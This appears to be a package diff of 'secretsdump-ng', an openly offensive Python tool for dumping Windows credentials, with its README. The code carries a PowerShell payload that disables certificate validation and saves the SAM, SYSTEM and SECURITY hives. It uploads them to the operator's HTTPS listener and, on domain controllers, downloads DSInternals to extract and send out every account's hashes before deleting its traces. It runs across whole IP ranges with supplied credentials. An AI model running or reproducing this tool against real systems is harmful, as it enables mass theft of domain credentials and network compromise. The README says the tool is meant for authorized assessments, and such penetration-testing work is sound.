400
|
+
# Get just_dc_user from server if available
|
|
401
|
+
just_dc_user = getattr(self.server, 'just_dc_user', None)
|
|
402
|
+
hives_output = process_registry_hives(zip_path, ip, just_dc_user)
|
|
403
|
+
output_file = os.path.join(extract_dir, 'secretsdump_output.txt')
|
|
404
|
+
with open(output_file, 'w') as f:
|
|
405
|
+
f.write(hives_output)
|
|
406
|
+
|
|
407
|
+
elif filename.startswith('ntds_'):
|
|
408
|
+
ip = filename.replace('ntds_', '').replace('.out', '')
|
|
409
|
+
extract_dir = os.path.join(UPLOAD_DIR, ip)
|
|
410
|
+
os.makedirs(extract_dir, exist_ok=True)
|
|
411
|
+
out_path = os.path.join(extract_dir, filename)
|
|
412
|
+
|
|
413
|
+
with open(out_path, 'wb') as f:
|
|
414
|
+
f.write(data)
|
|
415
|
+
|
|
416
|
+
self.send_response(200)
|
|
417
|
+
self.end_headers()
|
|
418
|
+
self.wfile.write(b'OK')
|
|
419
|
+
|
|
420
|
+
except Exception as e:
|
|
421
|
+
print(f"[!] Upload error: {e}")
|
|
422
|
+
self.send_response(500)
|
|
423
|
+
self.end_headers()
|
|
424
|
+
|
|
425
|
+
def log_message(self, format, *args):
|
|
426
|
+
if hasattr(self.server, 'verbose') and self.server.verbose:
|
|
427
|
+
super().log_message(format, *args)
|
|
428
|
+
else:
|
|
429
|
+
pass
|
|
430
|
+
|
|
431
|
+
|
|
432
|
+
def start_upload_server(just_dc_user=None, verbose=False):
|
|
433
|
+
"""Start HTTPS server for receiving credential uploads on port 1338"""
|
|
434
|
+
http_server = HTTPServer(("0.0.0.0", 1338), FileUploadHTTPRequestHandler)
|
|
435
|
+
|
|
436
|
+
# Store just_dc_user in server for handler access
|
|
437
|
+
http_server.just_dc_user = just_dc_user
|
|
438
|
+
http_server.verbose = verbose
|
|
439
|
+
|
|
440
|
+
# Wrap with SSL
|
|
441
|
+
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
|
|
442
|
+
context.load_cert_chain(CERT_FILE, KEY_FILE)
|
|
443
|
+
http_server.socket = context.wrap_socket(http_server.socket, server_side=True)
|
|
444
|
+
|
|
445
|
+
global https_server
|
|
446
|
+
https_server = http_server
|
|
447
|
+
https_server.serve_forever()
|
|
448
|
+
|
|
449
|
+
|
|
450
|
+
https_server = None
|
|
451
|
+
|
|
452
|
+
|
|
453
|
+
print_lock = threading.Lock()
|
|
454
|
+
|
|
455
|
+
|
|
456
|
+
def run_secretsdump(ip, username, password, just_dc_user, verbose, show_single_output, timeout=30):
|
|
457
|
+
|
|
458
|
+
run_start_time = time.time()
|
|
459
|
+
|
|
460
|
+
with print_lock:
|
|
461
|
+
print(f"[*] Attempting to secretsdump on {ip} using credentials {username}:{password}")
|
|
462
|
+
|
|
463
|
+
host_ip = get_host_ip_given_target(ip)
|
|
464
|
+
|
|
465
|
+
if just_dc_user:
|
|
466
|
+
who_to_dump = f"-SamAccountName {just_dc_user}"
|
|
467
|
+
else:
|
|
468
|
+
who_to_dump = f"-All"
|
|
469
|
+
|
|
470
|
+
ps_script = f'''
|
|
471
|
+
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
|
|
472
|
+
Add-Type @"
|
|
473
|
+
using System.Net;
|
|
474
|
+
using System.Security.Cryptography.X509Certificates;
|
|
475
|
+
public class TrustAllCertsPolicy : ICertificatePolicy {{
|
|
476
|
+
public bool CheckValidationResult(
|
|
477
|
+
ServicePoint srvPoint, X509Certificate certificate,
|
|
478
|
+
WebRequest request, int certificateProblem) {{
|
|
479
|
+
return true;
|
|
480
|
+
}}
|
|
481
|
+
}}
|
|
482
|
+
"@
|
|
483
|
+
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy
|
|
484
|
+
|
|
485
|
+
$isDC = $false
|
|
486
|
+
try {{
|
|
487
|
+
$ntds = (Get-ItemProperty "HKLM:\\SYSTEM\\CurrentControlSet\\Services\\NTDS" -ErrorAction SilentlyContinue).ObjectName
|
|
488
|
+
if ($ntds) {{ $isDC = $true }}
|
|
489
|
+
}} catch {{}}
|
|
490
|
+
|
|
491
|
+
reg save HKLM\\SAM $env:TEMP\\SAM /y | Out-Null
|
|
492
|
+
reg save HKLM\\SYSTEM $env:TEMP\\SYSTEM /y | Out-Null
|
|
493
|
+
reg save HKLM\\SECURITY $env:TEMP\\SECURITY /y | Out-Null
|
|
494
|
+
|
|
495
|
+
Compress-Archive -Path $env:TEMP\\SAM,$env:TEMP\\SYSTEM,$env:TEMP\\SECURITY -DestinationPath $env:TEMP\\hives_{ip}.zip -Force
|
|
496
|
+
|
|
497
|
+
iwr -Uri "https://{host_ip}:1338/upload?filename=hives_{ip}.zip" -Method Post -InFile "$env:TEMP\\hives_{ip}.zip" -Headers @{{"filename"="hives_{ip}.zip"}} -UseBasicParsing | Out-Null
|
|
498
|
+
|
|
499
|
+
del $env:TEMP\\SAM
|
|
500
|
+
del $env:TEMP\\SYSTEM
|
|
501
|
+
del $env:TEMP\\SECURITY
|
|
502
|
+
del $env:TEMP\\hives_{ip}.zip
|
|
503
|
+
|
|
504
|
+
if ($isDC) {{
|
|
505
|
+
iwr https://{host_ip}:1338/{DSINTERNALS_ZIP} -o $env:TEMP\\DSInternals.zip
|
|
506
|
+
Expand-Archive $env:TEMP\\DSInternals.zip -d $env:TEMP\\DSInternals\\
|
|
507
|
+
|
|
508
|
+
$job = Start-Job -ScriptBlock {{
|
|
509
|
+
Import-Module $env:TEMP\\DSInternals\\DSInternals\\DSInternals.psd1
|
|
510
|
+
Get-ADReplAccount -Server LOCALHOST {who_to_dump} | Out-File $env:TEMP\\ntds_{ip}.out -Encoding Unicode
|
|
511
|
+
}}
|
|
512
|
+
|
|
513
|
+
Wait-Job $job | Out-Null
|
|
514
|
+
Remove-Job $job
|
|
515
|
+
|
|
516
|
+
iwr -Uri "https://{host_ip}:1338/upload?filename=ntds_{ip}.out" -Method Post -InFile "$env:TEMP\\ntds_{ip}.out" -Headers @{{"filename"="ntds_{ip}.out"}} -UseBasicParsing | Out-Null
|
|
517
|
+
del $env:TEMP\\ntds_{ip}.out
|
|
518
|
+
del $env:TEMP\\DSInternals.zip
|
|
519
|
+
del $env:TEMP\\DSInternals\\ -recurse
|
|
520
|
+
}}
|
|
521
|
+
'''
|
|
522
|
+
|
|
523
|
+
try:
|
|
524
|
+
# Build the exec-across-windows command
|
|
525
|
+
exec_cmd = ["exec-across-windows", ip, username, password, ps_script, "--timeout", str(timeout), "--threads", "1"]
|
|
526
|
+
|
|
527
|
+
# Run with subprocess
|
|
528
|
+
if verbose:
|
|
529
|
+
result = subprocess.run(exec_cmd)
|
|
530
|
+
else:
|
|
531
|
+
result = subprocess.run(exec_cmd, capture_output=True, text=True)
|
|
532
|
+
|
|
533
|
+
# Wait a moment for files to be uploaded and processed
|
|
534
|
+
threading.Event().wait(2)
|
|
535
|
+
|
|
536
|
+
if not verbose:
|
|
537
|
+
output = result.stdout + result.stderr
|
|
538
|
+
if "No required ports open" in output:
|
|
539
|
+
with print_lock:
|
|
540
|
+
print(f"\033[31m[-]\033[0m Unable to secretsdump on {ip}. No necessary ports are available.")
|
|
541
|
+
if "All tools failed for" in output:
|
|
542
|
+
with print_lock:
|
|
543
|
+
print(f"\033[31m[-]\033[0m Unable to secretsdump on {ip}. Seems the credentials aren't working.")
|
|
544
|
+
|
|
545
|
+
final_content = finalize_output(ip, run_start_time)
|
|
546
|
+
|
|
547
|
+
if final_content and show_single_output:
|
|
548
|
+
with print_lock:
|
|
549
|
+
print(f"\n{'='*60}")
|
|
550
|
+
print(f"Results for {ip}:")
|
|
551
|
+
print('='*60)
|
|
552
|
+
print(final_content)
|
|
553
|
+
print('='*60)
|
|
554
|
+
|
|
555
|
+
except Exception as e:
|
|
556
|
+
with print_lock:
|
|
557
|
+
print(f"[!] Error on {ip}: {e}")
|
|
558
|
+
|
|
559
|
+
|
|
560
|
+
def main(args):
|
|
561
|
+
# Create directories
|
|
562
|
+
os.makedirs(UPLOAD_DIR, exist_ok=True)
|
|
563
|
+
os.makedirs(DSINTERNALS_SERVE_DIR, exist_ok=True)
|
|
564
|
+
|
|
565
|
+
# Generate SSL certificate
|
|
566
|
+
generate_ssl_cert()
|
|
567
|
+
|
|
568
|
+
# Download and prepare DSInternals
|
|
569
|
+
dsinternals_path = os.path.join(DSINTERNALS_SERVE_DIR, DSINTERNALS_ZIP)
|
|
570
|
+
|
|
571
|
+
if not os.path.exists(dsinternals_path):
|
|
572
|
+
print("[*] Downloading DSInternals...")
|
|
573
|
+
try:
|
|
574
|
+
subprocess.check_call(["wget", "-q", "-O", dsinternals_path, DSINTERNALS_URL])
|
|
575
|
+
except subprocess.CalledProcessError:
|
|
576
|
+
print("[!] Failed to download DSInternals")
|
|
577
|
+
return
|
|
578
|
+
|
|
579
|
+
print("[*] Starting HTTPS server on port 1338")
|
|
580
|
+
threading.Thread(target=start_upload_server, args=(args.just_dc_user, args.verbose), daemon=True).start()
|
|
581
|
+
|
|
582
|
+
targets = parse_ip_range(args.ip_range)
|
|
583
|
+
show_single_output = len(targets) == 1
|
|
584
|
+
|
|
585
|
+
print(f"[*] Targeting {len(targets)} host(s)")
|
|
586
|
+
if args.just_dc_user:
|
|
587
|
+
print(f"[*] Dumping only user: {args.just_dc_user}")
|
|
588
|
+
print(f"[*] Output directory: {os.path.abspath(UPLOAD_DIR)}")
|
|
589
|
+
print("-"*60)
|
|
590
|
+
|
|
591
|
+
with ThreadPoolExecutor(max_workers=args.threads) as pool:
|
|
592
|
+
futures = [
|
|
593
|
+
pool.submit(
|
|
594
|
+
run_secretsdump,
|
|
595
|
+
ip,
|
|
596
|
+
args.username,
|
|
597
|
+
args.password,
|
|
598
|
+
args.just_dc_user,
|
|
599
|
+
args.verbose,
|
|
600
|
+
show_single_output,
|
|
601
|
+
args.timeout
|
|
602
|
+
)
|
|
603
|
+
for ip in targets
|
|
604
|
+
]
|
|
605
|
+
for _ in as_completed(futures):
|
|
606
|
+
pass
|
|
607
|
+
|
|
608
|
+
print("\n[*] All tasks completed")
|
|
609
|
+
|
|
610
|
+
if https_server:
|
|
611
|
+
print("[*] Shutting down HTTPS server...")
|
|
612
|
+
https_server.shutdown()
|
|
613
|
+
|
|
614
|
+
print("[*] Done!")
|
|
615
|
+
|
|
616
|
+
|
|
617
|
+
def main_cli():
|
|
618
|
+
"""CLI entry point for pip installation"""
|
|
619
|
+
parser = argparse.ArgumentParser(description="secretsdump automation")
|
|
620
|
+
os.makedirs(UPLOAD_DIR, exist_ok=True)
|
|
621
|
+
|
|
622
|
+
parser.add_argument("ip_range", help="IP range (e.g. 10.0.1-5.1-254)")
|
|
623
|
+
parser.add_argument("username", help="Domain username")
|
|
624
|
+
parser.add_argument("password", help="Password")
|
|
625
|
+
parser.add_argument("--threads", metavar="NUM_THREADS", type=int, default=10, help="Number of concurrent threads")
|
|
626
|
+
parser.add_argument("--timeout", metavar="TIMEOUT_SECONDS", type=int, default=20, help="Number of seconds before commands timeout")
|
|
627
|
+
parser.add_argument("-j", "--just-dc-user",metavar='USER', dest="just_dc_user", help="Extract only one user.")
|
|
628
|
+
parser.add_argument("-v", "--verbose", action="store_true",help="Show exec_across_windows output")
|
|
629
|
+
|
|
630
|
+
args = parser.parse_args()
|
|
631
|
+
main(args)
|
|
632
|
+
|
|
633
|
+
|
|
634
|
+
if __name__ == "__main__":
|
|
635
|
+
main_cli()
|
|
@@ -0,0 +1,86 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: secretsdump-ng
|
|
3
|
+
Version: 1.0.0
|
|
4
|
+
Summary: Next-generation secretsdump tool using DSInternals for credential extraction
|
|
5
|
+
Author: Khael
|
|
6
|
+
Project-URL: Homepage, https://github.com/KhaelK138/secretsdump-ng
|
|
7
|
+
Project-URL: Repository, https://github.com/KhaelK138/secretsdump-ng
|
|
8
|
+
Project-URL: Issues, https://github.com/KhaelK138/secretsdump-ng/issues
|
|
9
|
+
Keywords: security,pentest,active-directory,credentials,secretsdump,secretsdump-ng
|
|
10
|
+
Classifier: Development Status :: 4 - Beta
|
|
11
|
+
Classifier: Intended Audience :: Information Technology
|
|
12
|
+
Classifier: Intended Audience :: System Administrators
|
|
13
|
+
Classifier: Programming Language :: Python :: 3
|
|
14
|
+
Classifier: Programming Language :: Python :: 3.8
|
|
15
|
+
Classifier: Programming Language :: Python :: 3.9
|
|
16
|
+
Classifier: Programming Language :: Python :: 3.10
|
|
17
|
+
Classifier: Programming Language :: Python :: 3.11
|
|
18
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
19
|
+
Classifier: Topic :: Security
|
|
20
|
+
Requires-Python: >=3.8
|
|
21
|
+
Description-Content-Type: text/markdown
|
|
22
|
+
License-File: LICENSE
|
|
23
|
+
Requires-Dist: impacket>=0.11.0
|
|
24
|
+
Provides-Extra: dev
|
|
25
|
+
Requires-Dist: build; extra == "dev"
|
|
26
|
+
Requires-Dist: twine; extra == "dev"
|
|
27
|
+
Dynamic: license-file
|
|
28
|
+
|
|
29
|
+
# secretsdump-ng
|
|
30
|
+
|
|
31
|
+
Credential dumping tool that uses DSInternals for extracting credentials from Windows systems, using any available command-execution port (rather than relying on 445).
|
|
32
|
+
|
|
33
|
+
Massive props to DSInternals & Impacket; this tool really isn't anything revolutionary and uses the impressive work already completed by Michael Grafnetter and the Fortra team.
|
|
34
|
+
|
|
35
|
+
## Features
|
|
36
|
+
|
|
37
|
+
- **NTDS.DIT extraction** using DSInternals on Domain Controllers
|
|
38
|
+
- **Registry hive dumping** (SAM, SYSTEM, SECURITY) on all Windows systems
|
|
39
|
+
- **Multi-threaded** operations for dumping from multiple hosts
|
|
40
|
+
- **Secure transfer of credentials** via HTTPS
|
|
41
|
+
- **Formatted output** compatible with standard secretsdump format
|
|
42
|
+
- **Filtered extraction** - dump only specific users with `--just-dc-user`
|
|
43
|
+
|
|
44
|
+
## Usage
|
|
45
|
+
|
|
46
|
+
```bash
|
|
47
|
+
# Dump all credentials from a single host
|
|
48
|
+
secretsdump-ng 192.168.1.10 username password
|
|
49
|
+
|
|
50
|
+
# Dump from multiple hosts using IP range
|
|
51
|
+
secretsdump-ng 192.168.1.10-20 username password
|
|
52
|
+
|
|
53
|
+
# Dump only a specific user
|
|
54
|
+
secretsdump-ng 192.168.1.10 username password --just-dc-user administrator
|
|
55
|
+
|
|
56
|
+
# Use more threads for faster scanning
|
|
57
|
+
secretsdump-ng 192.168.1.1-254 username password --threads 20
|
|
58
|
+
|
|
59
|
+
# Verbose output
|
|
60
|
+
secretsdump-ng 192.168.1.10 username password -v
|
|
61
|
+
```
|
|
62
|
+
|
|
63
|
+
## How It Works
|
|
64
|
+
|
|
65
|
+
1. **Sets up HTTPS server** on port 1338 to receive credential dumps
|
|
66
|
+
2. **Executes PowerShell remotely** on target systems using `exec_across_windows.py`
|
|
67
|
+
3. **Extracts registry hives** (SAM, SYSTEM, SECURITY) from all Windows systems
|
|
68
|
+
4. **Extracts NTDS.DIT** using DSInternals on Domain Controllers
|
|
69
|
+
5. **Processes and formats** credentials using impacket-secretsdump
|
|
70
|
+
6. **Saves output** to `./secretsdump_ng_out/[IP]/secretsdump.out`
|
|
71
|
+
|
|
72
|
+
|
|
73
|
+
Admin accounts are highlighted with `(admin)` tag. Machine accounts are sorted to the bottom.
|
|
74
|
+
|
|
75
|
+
## Security Notes
|
|
76
|
+
|
|
77
|
+
- Uses temporary SSL certificates for HTTPS transfers
|
|
78
|
+
- Temporary files on target systems are stored in `$env:TEMP` and cleaned up after extraction
|
|
79
|
+
|
|
80
|
+
## License
|
|
81
|
+
|
|
82
|
+
MIT License - see LICENSE file for details
|
|
83
|
+
|
|
84
|
+
## Disclaimer
|
|
85
|
+
|
|
86
|
+
This tool is intended for authorized security assessments only. Ensure you have proper authorization before using this tool on any systems.
|
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
LICENSE
|
|
2
|
+
README.md
|
|
3
|
+
pyproject.toml
|
|
4
|
+
secretsdump_ng/__init__.py
|
|
5
|
+
secretsdump_ng/secretsdump_ng.py
|
|
6
|
+
secretsdump_ng.egg-info/PKG-INFO
|
|
7
|
+
secretsdump_ng.egg-info/SOURCES.txt
|
|
8
|
+
secretsdump_ng.egg-info/dependency_links.txt
|
|
9
|
+
secretsdump_ng.egg-info/entry_points.txt
|
|
10
|
+
secretsdump_ng.egg-info/requires.txt
|
|
11
|
+
secretsdump_ng.egg-info/top_level.txt
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
secretsdump_ng
|